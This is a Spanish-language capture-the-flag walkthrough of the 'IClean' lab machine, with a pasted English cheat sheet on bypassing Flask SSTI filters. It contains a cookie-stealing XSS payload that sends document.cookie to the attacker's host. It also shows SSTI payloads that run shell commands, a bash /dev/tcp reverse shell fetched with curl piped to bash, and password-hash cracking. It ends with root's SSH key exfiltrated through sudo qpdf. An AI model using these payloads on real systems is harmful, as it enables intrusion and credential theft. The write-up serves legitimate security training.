IClean

nmap

```
nmap -sC  -sV  10.129.113.188
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-09 19:03 CEST
Stats: 0:00:00 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 53.50% done; ETC: 19:03 (0:00:01 remaining)
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 19:03 (0:00:06 remaining)
Nmap scan report for iclean.htb (10.129.113.188)
Host is up (0.086s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA)
|_  256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.61 seconds
```

```
vim /etc/hosts
10.129.113.188  capiclean.htb
```

#Vamos a http://capiclean.htb/login.
#Abrimos burpsuite y enviamos un POST.

```
POST /sendMessage HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://capiclean.htb
Connection: close
Referer: http://capiclean.htb/quote
Upgrade-Insecure-Requests: 1

service=Office+Cleaning&email=test%40test.com
```

#Modificamos la petición de tipo POST añadiendo este script..

```
service=<img src=x onerror fetch("http://10.10.14.53:1234/"+document.cookie);>Office+Cleaning&email=test%40test.com
```

#Enviamos esta request con burpsuite:

```
POST /sendMessage HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/av  if,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
Origin: http://capiclean.htb
Connection: close
Referer: http://capiclean.htb/quote
Upgrade-Insecure-Requests: 1

service=<img+src%3dx+onerror%3dfetch("http%3a//10.10.14.53%3a1234/"%2bdocument.cookie)%3b>&email=test%40test.com
```

#Nos llega esta cookie.

```
python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
10.129.113.188 - - [09/Apr/2024 19:25:24] code 404, message File not found
10.129.113.188 - - [09/Apr/2024 19:25:24] "GET /session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZhQSMg.JtQM4Hr3XdyOtkLc4L4xoPb8FAA
```

HTTP/1.1" 404 -

enumeration

#Ahora tendremos acceso a http://capiclean.htb/InvoiceGenerator
#Luego generaremos un código QR.

```
POST /InvoiceGenerator HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
Origin: http://capiclean.htb
Connection: close
Referer: http://capiclean.htb/InvoiceGenerator
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.Zha1cw.tqaq0zFkmx9R1mKUYdFNFkQ5y8A
Upgrade-Insecure-Requests: 1

selected_service=Basic+Cleaning&qty=1&project=a&client=a&address=a&email-address=a%40a.com
```

#Ahora, tendremos un ID generado.
Invoice ID generated: 3560319389

#Nos dirigimos a:http://capiclean.htb/QRGenerator y pegamos el ID.

QR Code Link: http://capiclean.htb/static/qr_code/qr_code_3560319389.png

#Si indicamos la URL de unstro código QR, podremos ver la petición y el precio de la misma.
DATE
February 16, 2023
Invoice: ov66jkn
DUE DATE
September 17, 2024
SERVICE PRICE QTY TOTAL
Workmanship $39.99 10 $399.99
Basic Cleaning $14 1 $3893.99
SUBTOTAL 4292.99
TAX 25% $99.99
GRAND TOTAL $4392.99
PROJECT a
CLIENT a
ADDRESS a
EMAIL a@a.com
Company Name iClean
31 Spooner Street, RI 00093, US ADDRESS
(123) 456-789 PHONE
contact@capiclean.htb EMAIL

#Podemos ver como nos encontramos ante un SSTI
#Si lanzamos una request para ver los objetos:
invoice_id=&form_type=scannable_invoice&qr_link={{config.items()}}

#Nos devuelve:

```
      </script>
  </main>
<div class="qr-code-container"><div class="qr-code"><img src="_items([(&#39;DEBUG&#39;, False), (&#39;TESTING&#39;, False),
(&#39;PROPAGATE_EXCEPTIONS&#39;, None), (&#39;SECRET_KEY&#39;, &#39;xfywkngcrjucxijgoepzzblqgouekzulsjhvsngllyiyamivjlwaifpkgrmhulxb&#39;),
(&#39;PERMANENT_SESSION_LIFETIME&#39;, datetime.timedelta(days=31)), (&#39;USE_X_SENDFILE&#39;, False), (&#39;SERVER_NAME&#39;, None),
(&#39;APPLICATION_ROOT&#39;, &#39;/&#39;), (&#39;SESSION_COOKIE_NAME&#39;, &#39;session&#39;), (&#39;SESSION_COOKIE_DOMAIN&#39;, None),
(&#39;SESSION_COOKIE_PATH&#39;, None), (&#39;SESSION_COOKIE_HTTPONLY&#39;, False), (&#39;SESSION_COOKIE_SECURE&#39;, False),
(&#39;SESSION_COOKIE_SAMESITE&#39;, None), (&#39;SESSION_REFRESH_EACH_REQUEST&#39;, True), (&#39;MAX_CONTENT_LENGTH&#39;, None),
(&#39;SEND_FILE_MAX_AGE_DEFAULT&#39;, None), (&#39;TRAP_BAD_REQUEST_ERRORS&#39;, None), (&#39;TRAP_HTTP_EXCEPTIONS&#39;, False),
(&#39;EXPLAIN_TEMPLATE_LOADING&#39;, False), (&#39;PREFERRED_URL_SCHEME&#39;, &#39;http&#39;), (&#39;TEMPLATES_AUTO_RELOAD&#39;, None),
(&#39;MAX_COOKIE_SIZE&#39;, 4093)])" alt="QR Code"></div>
</body>
</html>
```

#Podemos ver como se modifica el atributo <img src="" alt="QR Code">
#Vemos el resultado de la operación {{5*5}}

#Cuando aplicamos el procedimiento:https://www.jianshu.com/p/a736e39c3510
#Creamos el request:
invoice_id=&form_type=scannable_invoice&qr_link={{"".__class__}}

#Nos indica que hay un erro. El servidor está bloquenado la request.
<!doctype html>
<html lang=en>
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.

#Es importante recordar que no es raro encontrar bloqueos o restricciones durante las pruebas de seguridad, ya que las organizaciones implementan medidas para proteger sus sistemas. Sin embargo, es fundamental abordar estas situaciones de manera responsable, respetando los límites y directrices establecidos por el sistema objetivo. En este caso, pudimos aprovechar el conocimiento compartido en la publicación del blog para encontrar una solución sin causar ningún daño ni violar ningún límite ético. a continuación se muestran las cargas útiles diseñadas.

#Ahora, probaremos a modificar está request para el bypas del STTi.
#Se nos quedará algo así. El sevidor responde correctamente.

invoice_id=&form_type=scannable_invoice&qr_link=

{{""["\x5f\x5fclass\x5f\x5f"]}}

#Para cercionarnos de que podemos crear un rev_shell, realizamos esta petición:
invoice_id=&form_type=scannable_invoice&qr_link=

{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[365]('ls /',shell=True,stdout=-1).communicate()}}

#Nos devulve:
<img src="
(b'bin\nboot\ndev\netc\nhome\nlib\nlib32\nlib64\nlibx32\nlost+found\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n', None)"
alt="QR Code">

#En este punto, crearemos un rev_shell.
 cat shell.sh
/bin/bash -i >& /dev/tcp/10.10.16.77/6565 0>&1

#Abriremos un servidor en localost con php para subir el rev_shell.
php -S 0.0.0.0:80
[Thu Apr 11 19:10:44 2024] PHP 8.2.10 Development Server (http://0.0.0.0:80) started
[Thu Apr 11 19:10:47 2024] 10.10.11.12:55446 Accepted
[Thu Apr 11 19:10:47 2024] 10.10.11.12:55446 [200]: GET /exploit.sh
[Thu Apr 11 19:10:47 2024] 10.10.11.12:55446 Closing

#Para subir el exploit, tendremos que enviar esta request:
invoice_id=&form_type=scannable_invoice&qr_link=

{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[365]('curl 10.10.16.77:80/exploit.sh|bash',shell=True,stdout=-1).communicate()}}

#También iniciamos el listener por el puerto indicado en el exploit.
#Ya tenemos nuestro rev_shell.
nc -nlvp 6565
listening on [any] 6565 ...
connect to [10.10.16.77] from (UNKNOWN) [10.10.11.12] 39032
bash: cannot set terminal process group (1206): Inappropriate ioctl for device
bash: no job control in this shell
www-data@iclean:/opt/app$ whoami
whoami
www-data

#Si nos fijamos en el fichero app.py, podremos ver las credenciales de una BBDD.

```
app.config['SESSION_COOKIE_HTTPONLY'] = False

secret_key = ''.join(random.choice(string.ascii_lowercase) for i in range(64))
app.secret_key = secret_key
# Database Configuration
db_config = {
    'host': '127.0.0.1',
    'user': 'iclean',
    'password': 'pxCsmnGLckUb',
```

```
    'database': 'capiclean'
}
```

#Para seguir buscando, tendremos que subir el script linepeas:

```
www-data@iclean:/tmp$ curl 10.10.16.77:80/linpeas.sh -o linpeas.sh
curl 10.10.16.77:80/linpeas.sh -o linpeas.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  840k  100  840k    0     0   209k      0  0:00:04  0:00:04 --:--:--  209k
```

#Le damos permisos y lo ejecutamos

```
chmod +x ./linepeas.sh
```

#Al ejecutarlo, vemos como hay algunas conexiones a mysql.

```
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
-
tcp        0      0 127.0.0.1:41699         0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      1206/python3
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
```

#Mysql, utiliza el puerto 3306, realizaremos un port forwarding con chisel.

SSTI Flask skills advanced

SSTI Flask skills advanced
Flask Bypass Advanced

Here are some filtering and bypassing techniques.
Sheet 1
Bypass _ . 'these three

There is a writing method that can be used during template injection, but normal Python syntax is not supported.

During the template injection process, the following two writing methods are equivalent.

```
{{"".__class__}}
{{""["\x5f\x5fclass\x5f\x5f"]}}
```

"\x5f" is the character "_", and "\x2E" is the character ".".

Then, reading the file can be written like this (_frozen_importlib_external.FileLoader's get_data() method, the first one is parameter 0, the second file name)

```
{{""["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "app\x2Epy")}}
#也就是
{{"".__class__.__bases__[0].__subclasses__()[91].get_data(0,"app.py")}}
```

Sheet 2

Paper link

Simple Flask program example:

```
import os #We need that to facilitate the RCE. Otherwise one needs to run {{config.from_object("os")}} first.
from flask import Flask, render_template, render_template_string, request
app = Flask(__name__)
@app.route("/")

def index():
    exploit = request.args.get('exploit')
    rendered_template = render_template("app.html", exploit=exploit)
    print(rendered_template)
    return render_template_string(rendered_template)
if __name__ == "__main__":
    app.run(debug=True)
```

Corresponding template:

```
{# $>cat templates/app.html #}
{{exploit}}
```

a. Bypass '__'

Filter example

```
exploit = request.args.get('exploit')
    print exploit

    blacklist = ["_"]
    for bad_string in blacklist:
        if  bad_string in exploit:
            return "HACK ATTEMPT {}".format(bad_string), 400
```

In addition request.__class__, you can also use the writing method request.[" _class _"], that is, the array + dictionary subscript method. But just using this method won't work, because the quotes have been escaped during render, and the characters in the blacklist still exist.

Notice that the request variable can access all the variables we submitted. You can use request.args.<param>the syntax and pass in a <param> to construct the variable.

This gives you a workaround:

```
    EXP:/?exploit={{request[request.args.pa]}}&pa=**class**
```

b. Bypass 'request[request.'

```
blacklist = ["__","request[request."]
```

Jinja has a syntax similar to the Linux pipe mechanism, namely the '|' symbol.

By using this syntax and adding the attr() method, you can achieve the same effect as writing the attribute name in square brackets.

request | attr(request.args.a)Equivalent torequest["a"]

EXP:/?exploit={{request|attr(request.args.pa)}}&pa=**class**

c. Bypass ' _class _'

blacklist = ["__","request[request.","__class__"]

Using the pipe + join method, you can perform string splicing operations.

["a","b","c"]|joinEquivalent to abc.

EXP:/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_

The execution steps of this section are:

Bring in variables{{request|attr(["_"*2,"class","_"*2]|join)}}

Call the join method{{request|attr("__class__")}}

Call attr method{{request.__class__}}

d. Bypass '[' and ']'

blacklist = ["__","request[request.","__class__",'[',']']

Parameters can ('a','b','c')be passed as jointuples, bypassing the square brackets. Just replace the square brackets of the previous EXP with round brackets, but there is a more elegant solution.

Use .getlist()the method to get a list. The parameters of this list can be passed later. For specific examples, please see EXP

EXP:/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
e. Bypass "|join"

blacklist = ["__","request[request.","__class__",'[',']',"|join"]

Use the pipe + format method to generate the filtered string using the formatted string.

EXP:/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

Here f serves as the format string, in which %sis a='_'replaced.

usr_flag

#Primero, tendremos que subir el binario de chisel al servidor.

www-data@iclean:/tmp$ curl 10.10.16.77:80/chisel -o chisel
curl 10.10.16.77:80/chisel -o
chisel
  % Total   % Received % Xferd Average Speed   Time   Time   Time
Current
                                 Dload Upload   Total   Spent   Left
Speed
100 8452k 100 8452k   0   0 2759k   0 0:00:03 0:00:03 --:--:--
2759k
www-data@iclean:/tmp$ chmod +x
chisel
chmod +x chisel

#En localhost:
./chisel server -p 9001 --reverse
2024/04/11 19:53:42 server: Reverse tunnelling enabled
2024/04/11 19:53:42 server: Fingerprint dJHs/EzIlgacX2+eArFUneW763rB0wAz0FBpvF9nH80=
2024/04/11 19:53:42 server: Listening on http://0.0.0.0:9001

#En la máquina víctima:
www-data@iclean:/tmp$ ./chisel client 10.10.16.77:9001 R:3306:localhost:3306
./chisel client 10.10.16.77:9001 R:3306:localhost:3306

#Ahora, podremos acceder al servidor mysql:
#Nos conectaremos a la base de datos con las credenciales obtenidas anteriormente:
'user': 'iclean',
'password': 'pxCsmnGLckUb',
'database': 'capiclean'

#Ahora que tenemos acceso al mysql, enumeraremos las BBDD que existan, luego trataremos de localizar credenciales.
mysql capiclean -u "iclean" -h 127.0.0.1 -ppxCsmnGLckUb
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 1685
Server version: 8.0.36-0ubuntu0.22.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [capiclean]> show databases;
+--------------------+
| Database |
+--------------------+
| capiclean |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.233 sec)

MySQL [capiclean]> select * from users;
+----+----------+--+----------------------------------+
| id | username | password | role_id |
+----+----------+--+----------------------------------+
| 1 | admin | 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 | 21232f297a57a5a743894a0e4a801fc3 |
| 2 | consuela | 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa | ee11cbb19052e40b07aac0ca060c23ee |
+----+----------+--+----------------------------------+
2 rows in set (0.289 sec)

#Si buscamos en: https://www.tunnelsup.com/hash-analyzer/, por el tipo de hash.
#Usaremos hashcat para crackear el hash.
hashcat -m 0 hash --wordlist /usr/share/wordlists/rockyou.txt -m 1400
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

```
================================================================================================================================================
=======
* Device #1: cpu-haswell-Intel(R) Core(TM) i5-10400F CPU @ 2.90GHz, 2201/4466 MB (1024 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 2 digests; 2 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 2 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa:simple and clean

#Ya tenemos las credenciales.
#Haremos login con las credenciales obtenidas:
user:consuela
passwd:simple and clean

#Haremos SSH.

ssh consuela@10.10.11.12
The authenticity of host '10.10.11.12 (10.10.11.12)' can't be established.
ED25519 key fingerprint is SHA256:3nZua2j9n72tMAHW1xkEyDq3bjYNNSBIszK1nbQMZfs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.12' (ED25519) to the list of known hosts.
consuela@10.10.11.12's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Thu Apr 11 07:10:28 PM UTC 2024

Expanded Security Maintenance for Applications is not enabled.

3 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
You have mail.
consuela@iclean:~$ whoami
consuela
```

#Ya tenemos la flg del usuario.

priv_escalation

```
#Vemos que comandos, puede ejecutar el usuario como root.
consuela@iclean:~$ sudo -l
Matching Defaults entries for consuela on iclean:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User consuela may run the following commands on iclean:
    (ALL) /usr/bin/qpdf

#Si nos fijamos en /var/mail, vemos un correo de consuela.

consuela@iclean:/var/mail$ cat consuela
To: <consuela@capiclean.htb>
Subject: Issues with PDFs
From: management <management@capiclean.htb>
Date: Wed September 6 09:15:33 2023

Hey Consuela,

Have a look over the invoices, I've been receiving some weird PDFs lately.

Regards,
Management

#Con el comando qpdf, podemos generar ficheros .pdf.
#Crearemos un fichero en la máquina atacante con la private key del usuario root.
consuela@iclean:~$ sudo qpdf --empty --add-attachment /root/.ssh/id_rsa --mimetype=text/plain -- extract.pdf
consuela@iclean:~$ ll
total 36
drwxr-x--- 4 consuela consuela 4096 Apr 11 19:23 ./
drwxr-xr-x 3 root     root     4096 Sep  5  2023 ../
lrwxrwxrwx 1 consuela consuela    9 Sep  5  2023 .bash_history -> /dev/null
-rw-r--r-- 1 consuela consuela  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 consuela consuela 3771 Jan  6  2022 .bashrc
drwx------ 2 consuela consuela 4096 Mar  2 07:51 .cache/
-rw-r--r-- 1 root     root     1196 Apr 11 19:23 extract.pdf
-rw-r--r-- 1 consuela consuela  807 Jan  6  2022 .profile
drwx------ 2 consuela consuela 4096 Sep  5  2023 .ssh/
-rw-r----- 1 root     consuela   33 Apr 11 19:05 user.txt


#Ahora, enviaremos el fichero a la máquina atacente con scp.
#Luego usaremos binwalk para extraer la clave ssh privada del usuario root.

scp consuela@capiclean.htb:/home/consuela/extract.pdf .
consuela@capiclean.htb's password:
Permission denied, please try again.
consuela@capiclean.htb's password:
extract.pdf

binwalk -Me extract.pdf --run-as=root

Scan Time:     2024-04-11 21:30:05
Target File:   /root/Desktop/machines/IClean/extract.pdf
MD5 Checksum:  16838f6114af8d80282d816b2d1ba76f
Signatures:    411

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PDF document, version: "1.3"
544           0x220           Zlib compressed data, default compression


Scan Time:     2024-04-11 21:30:05
Target File:   /root/Desktop/machines/IClean/_extract.pdf.extracted/220
MD5 Checksum:  bb34da3f74ca5fb11f4ccbc393e113bc
Signatures:    411

DECIMAL       HEXADECIMAL     DESCRIPTION
```

```
--------------------------------------------------------------------------------
15            0xF             OpenSSH RSA1 private key, version "zaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS"
480           0x1E0           Ubiquiti firmware header, third party, ~CRC32: 0x0, version: "SSH PRIVATE KEY-----"


#El comando, habrá creado una carpeta. Podremos ir para cojer la key desde ahi.
binwalk -Me extract.pdf --run-as=root

Scan Time:     2024-04-11 21:30:05
Target File:   /root/Desktop/machines/IClean/extract.pdf
MD5 Checksum:  16838f6114af8d80282d816b2d1ba76f
Signatures:    411

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PDF document, version: "1.3"
544           0x220           Zlib compressed data, default compression


Scan Time:     2024-04-11 21:30:05
Target File:   /root/Desktop/machines/IClean/_extract.pdf.extracted/220
MD5 Checksum:  bb34da3f74ca5fb11f4ccbc393e113bc
Signatures:    411

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
15            0xF             OpenSSH RSA1 private key, version "zaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS"
480           0x1E0           Ubiquiti firmware header, third party, ~CRC32: 0x0, version: "SSH PRIVATE KEY-----"

#Si especificamos en SSH con la opción -i, podremos acceder usando la clave privada.
#Primero, asignamos permisos:
chmod 700 220

┌──(root㉿kali)-[~/Desktop/machines/IClean/_extract.pdf.extracted]
└─# ssh -i 220 root@capiclean.htb
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Thu Apr 11 07:34:02 PM UTC 2024




Expanded Security Maintenance for Applications is not enabled.

3 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


root@iclean:~# whoami
root
```